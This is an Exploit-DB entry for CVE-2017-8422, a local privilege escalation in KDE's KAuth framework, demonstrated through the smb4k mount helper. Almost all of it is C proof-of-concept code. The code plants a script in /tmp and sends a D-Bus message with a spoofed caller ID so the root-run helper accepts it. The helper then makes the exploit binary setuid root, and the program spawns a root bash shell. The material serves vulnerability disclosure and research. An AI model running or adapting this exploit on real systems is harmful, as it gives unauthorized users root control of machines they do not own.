KDE 4/5 - 'KAuth' Privilege Escalation

EDB-ID: 42053
Author: Stealth
Published: 2017-05-18
CVE: CVE-2017-8422...
Type: Local
Platform: Linux
Aliases: smb0k.c
Advisory/Source: Link
Tags: N/A
Vulnerable App: N/A

 // 
// smb4k PoC, also demonstrating broader scope of a generic kde
// authentication bypass vulnerability
//
// (C) 2017 Sebastian Krahmer
//

#define _POSIX_C_SOURCE 200112L
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/stat.h>


void die(const char *s)
{
perror(s);
exit(errno);
}


int main(int argc, char **argv)
{
char me[1024] = {0};
char *dbus[] = {
"/usr/bin/dbus-send",
"--system",
"--print-reply",
"--dest=net.sourceforge.smb4k.mounthelper",
"/",
"org.kde.auth.performActions",
"array:byte:"
// The variant map, containing evil mh_command key-pair
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// the callerID, ":1.0" which is dbus itself and thus always passes
"array:byte:58,49,46,48", NULL};

char *boomsh = "/tmp/xmount.cifs";
char *const sh[] = {me, "shell", NULL};
char *const bash[] = {"/bin/bash", "--norc", "--noprofile", NULL};
struct stat st;
int fd = -1;

if (readlink("/proc/self/exe", me, sizeof(me) - 1) < 0)
die("[-] readlink");

if (geteuid() == 0) {
setuid(0);
setgid(0);
if (argc == 2) {
execve(*bash, bash, NULL);
die("[-] execve of bash");
}
chown(me, 0, 0);
chmod(me, 04755);
exit(0);
}

printf("[*] Creating shellscript ...\n");
unlink(boomsh);
if ((fd = open(boomsh, O_RDWR|O_CREAT, 0755)) < 0)
die("[-] open");
write(fd, "#!/bin/sh\n", 10);
write(fd, me, strlen(me));
write(fd, "\n", 1);
close(fd);

printf("[*] Triggering call...\n");

if (fork() == 0) {
execve(*dbus, dbus, NULL);
exit(1);
}
wait(NULL);
sleep(5);
printf("[*] Trying to find rootshell...\n");

memset(&st, 0, sizeof(st));
stat(me, &st);
if ((st.st_mode & 04000) != 04000)
die("[-] Failed to chmod ourselfs.\n");

execve(me, sh, NULL);
return 0;
}

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